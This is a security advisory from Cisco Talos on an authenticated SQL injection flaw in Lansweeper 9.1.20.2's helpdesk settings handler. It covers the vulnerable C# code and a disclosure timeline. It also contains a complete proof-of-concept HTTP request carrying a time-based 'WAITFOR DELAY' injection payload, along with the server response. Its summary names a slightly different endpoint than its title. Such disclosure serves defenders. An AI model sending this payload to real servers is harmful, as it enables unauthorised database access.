Talos Vulnerability Report

TALOS-2022-1441

Lansweeper lansweeper HelpdeskSetupActions SQL injection vulnerability

FEBRUARY 28, 2022

CVE NUMBER

CVE-2022-22149

Summary

A SQL injection vulnerability exists in the HelpdeskEmailActions.aspx functionality of Lansweeper lansweeper 9.1.20.2. A specially-crafted HTTP request can cause SQL injection. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lansweeper lansweeper 9.1.20.2

Product URLs

lansweeper - https://www.lansweeper.com/

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Details

Lansweeper is an IT Asset Management solution that gathers hardware and software information of computers and other devices on a computer network for management and compliance and audit purposes.

An exploitable SQL Injection vulnerability is related with an action : `Configuration -> General Settings` and is located inside `\LS\CF\HelpdeskSetupActions.cs` file. Let us take a close look at the vulnerable source code :

```
Line 155        private static void EditSetting()
Line 156        {
Line 157                Page page = (Page)HttpContext.Current.Handler;
Line 158                HttpContext current = HttpContext.Current;
Line 159                JsReturnObject jsReturnObject = new JsReturnObject();
Line 160                try
Line 161                {
Line 162                        General.ValidateCsrf();
Line 163                        string text = current.Request["field"];
Line 164                        Dictionary<string, string> dictionary = new
JavaScriptSerializer().Deserialize<Dictionary<string, string>>
(current.Request["value"]);
Line 165                        object obj = dictionary[text];
(...)
Line 197        else
Line 198        {
Line 199                object obj2 = DB.ExecuteScalar("Select " + text + " from " +
text2);
```

As we can see, `field` parameter is not sanitized, and later in `line 199` using string concatenation, it is combined with the SQL query. To trigger this vulnerability, an attacker must be authenticated and have rights to change any setting related with `Configuration -> HelpDesk Setup`.

Exploit Proof of Concept

REQUEST

```
POST /configuration/HelpdeskSetup/HelpdeskSetupActions.aspx?
action=editsetting&field=@@version;WAITFOR DELAY '0:0:03'--&type=1 HTTP/1.1
Host: 192.168.0.102:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101
Firefox/95.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 280
Origin: http://192.168.0.102:81
Connection: close
Referer: http://192.168.0.102:81/configuration/HelpdeskEmail/
Cookie: UserSettings=language=1; custauth=username=admin&userdomain=admin;
ASP.NET_SessionId=hpp41pklmqnw0za1jwrw2oru;
__RequestVerificationToken_Lw__=INRfH5supEBaKPkvKWwJOJulc5TL9awnpugCjadGVpN9U37ot7dD
EAReoE5xyXfujDiJmmHz/XlJU
o4d7i/VGC4GDoetTwuihcvFlHWgsbEz3zAIhXcZQfYla3GycAqu46uHVvXM8b4nOfeJoZ4TXVzGI0apUQPM7
baaUJsPrk=

value={"@@version;WAITFOR DELAY '0:0:03'--
":1}&__RequestVerificationToken=GRx76L/CQv7ghwFJezK1xXT4LqvWQNc/zVW4MKPNFl4miGePcXr0
MpJACtL4eqJDxKSuO31kW2kWrBpvWeL1e1iawm/GHunSVEX6aoBgN3WRWra1zFiIVajL6fRYqcv+Ofh3CUcD
MVdskErjp6YYKvpu4ZsoPLXLEC8B43p81CA=
```

RESPONSE

```
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
x-frame-options: SAMEORIGIN
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Dec 2021 11:59:46 GMT
Connection: close
Content-Length: 183

{"ErrorType":"","Error":true,"Emsg":"Incorrect syntax near
'@@version'.","AddedRows":[],"Columns":[],"Columnwid":[],"Action":"","ReturnValues":
{},"ReturnValue":"","ReturnObject":null}
```

Timeline

2022-01-10 - Initial vendor contact

2022-01-11 - Vendor disclosure

2022-02-21 - Vendor patched

2022-02-28 - Public Release

CREDIT

Discovered by Marcin "Icewall" Noga of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

NEXT REPORT

TALOS-2022-1442

TALOS-2022-1467